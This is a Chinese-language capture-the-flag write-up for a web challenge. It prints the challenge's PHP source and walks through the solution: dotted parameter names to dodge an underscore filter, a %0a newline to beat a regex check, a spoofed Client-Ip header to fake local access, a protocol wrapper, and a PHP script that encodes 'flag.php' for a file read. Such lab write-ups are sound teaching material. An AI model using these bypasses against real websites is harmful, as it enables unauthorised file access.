右键查看源码

    1. <!--
    2. //1st
    3. $query = $_SERVER['QUERY_STRING'];
    5.  if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    6.     die('Y0u are So cutE!');
    7. }
    8.  if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    9.     echo "you are going to the next ~";
    10. }
    11. !-->

    进行了两次判断，首先是get的参数中不能带有_，其次是参数的值不能是23333，并且要以23333开始和结束。
    第一个使用b.u.p.t绕过，第二个使用%0a换行符绕过。
    image.png
    进入secrettw.php，继续查看源码，发现一串jsfuck
    image.png
    运行后提示
    image.png
    使用post方式带上参数Merak提交，获得源码

    1. <?php 
    2. error_reporting(0); 
    3. include 'takeip.php';
    4. ini_set('open_basedir','.'); 
    5. include 'flag.php';
    7. if(isset($_POST['Merak'])){ 
    8.     highlight_file(__FILE__); 
    9.     die(); 
    10. } 
    13. function change($v){ 
    14.     $v = base64_decode($v); 
    15.     $re = ''; 
    16.     for($i=0;$i<strlen($v);$i++){ 
    17.         $re .= chr ( ord ($v[$i]) + $i*2 ); 
    18.     } 
    19.     return $re; 
    20. }
    21. echo 'Local access only!'."<br/>";
    22. $ip = getIp();
    23. if($ip!='127.0.0.1')
    24. echo "Sorry,you don't have permission!  Your ip is :".$ip;
    25. if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    26. echo "Your REQUEST is:".change($_GET['file']);
    27. echo file_get_contents(change($_GET['file'])); }
    28. ?>

    源码中提示Local access only！使用X-Forwarded-For，但是发现没有效果，换成Client-Ip后，成功绕过。
    第二处验证file_get_contents($_GET['2333'])使用为协议绕过
    最后传递file参数，使其读取flag.php即可，但是因为在file_get_contents之前被change函数处理过了，所以需要先处理一下：

    1. $exp='flag.php';
    2. $re='';
    3. for($i=0;$i<strlen($exp);$i++){ 
    4.         $re .= chr ( ord ($exp[$i]) - $i*2 ); 
    5.     } 
    6. $re=base64_encode($re);
    7. echo($re);

    将编码后的exp传入file，提交得到flag。